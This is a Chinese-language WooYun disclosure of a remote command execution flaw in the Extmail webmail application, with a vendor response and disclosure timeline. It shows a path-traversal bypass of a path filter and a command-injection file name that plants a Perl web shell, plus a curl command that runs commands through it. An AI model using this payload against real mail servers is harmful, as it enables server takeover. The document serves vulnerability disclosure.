漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0151160
漏洞标题:Extmail存在任意命令执行漏洞
相关厂商:Extmail
漏洞作者: Map
提交时间:2015-11-02 09:04
修复时间:2015-12-17 14:48
公开时间:2015-12-17 14:48
漏洞类型:远程代码执行
危害等级:高
自评Rank:20
漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-11-02: 细节已通知厂商并且等待厂商处理中
2015-11-06: 厂商已经确认,细节仅向厂商公开
2015-11-09: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航)
2015-12-31: 细节向核心白帽子及相关领域专家公开
2016-01-10: 细节向普通白帽子公开
2016-01-20: 细节向实习白帽子公开
2015-12-17: 细节向公众公开
简要描述:
Extmail 是一个流行的邮箱部署应用,很多公司都使用了该产品来部署邮箱。
它存在一个任意命令执行漏洞,通过该漏洞可以获取服务器的权限。
这个漏洞要感谢letvcloud 的 yangtong 、ifeng.com 的caoyang。
详细说明:
在
libs/Ext/App/Message.pm 内:
有以下代码:
如果我们可以控制$msg,我们就可以执行任意代码,往上走看$msg 从哪里来。
my $msg = $MSGFILE;
再往上走:
省略一点代码……
所以 如果$file(文件名) 等于 $MSGID ,那么就会把文件名附加给$MSGFILE 。
好吧,我直接进入主题,只要我们能再cur下放一个文件名对的文件,那么我们就可以执行任意命令了,我们怎么把文件放过去呢?
在 libs/Ext/Storage/Fileman.pm 内
省略一点代码……
…………
我们看看fixpath是怎么写的。
还是那句话,多字节的替换是不安全的。
当提交的内容是:..\\/cur/的时候,剩下的会是../cur/,所以使用这个网盘功能,上传了文件之后,我们可以把这个文件顺利的移动到./cur/下,也就是这个用户的收件箱。
其实运气特别好,因为fixpath函数要是单独使用的话,可以是剩下../的,如果和$CFG{path}使用的话,就毛都不剩下了,例如:
接下来我还是演示一下这个漏洞吧,使用官方的在线演示站点演示一下,我直接使用官方的测试版本测试吧
(接下来的所有URL里出现的sid参数都为当前登录身份的sid,每个登录用户的是不一样的,请知)
在 http://**.**.**.**/extmail/cgi/index.cgi 使用demo 账户登录进去。
在网盘功能页面
http://**.**.**.**/extmail/cgi/netdisk.cgi?__mode=list_dir&sid=336f95e4406cbeb90dc4754b112785b0 上传一封邮件格式的文件,例如:
文件名:1
内容:
然后给该文件修改一个名字:
&& cd .. && cd .. && cd .. && cd .. && cd .. && cd .. && cd .. && cd var && cd www && cd cgi-bin && cd extmail && cd cgi && echo 'system($ENV{"HTTP_EVIL"});' >> env.cgi &&
然后用 firebug 修改一下表单内的 / 为 ..\\/cur/ 。
然后选择该下拉,点击 “移动到” ,然后你就回在收件箱里看到这封邮件。
然后查看框代码,搜素report,找到对应的URL,然后将msgid里的参数做一下URL编码。
好了,你已经拥有了一个更好操作的webshell了。
具体的路径:http://**.**.**.**/extmail/cgi/env.cgi 会告诉你。
curl -H "EVIL:ls -al" http://**.**.**.**/extmail/cgi/env.cgi -silence |grep -v "<"
就是这么顺利。
漏洞证明:
修复方案:
你懂的。
版权声明:转载请注明来源 Map@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:15
确认时间:2015-11-06 15:07
厂商回复:
CNVD确认并复现所述情况,已由CNVD通过软件生产厂商公开联系渠道向其邮件和电话通报,由其后续提供解决方案并协调相关用户单位处置。
最新状态:
暂无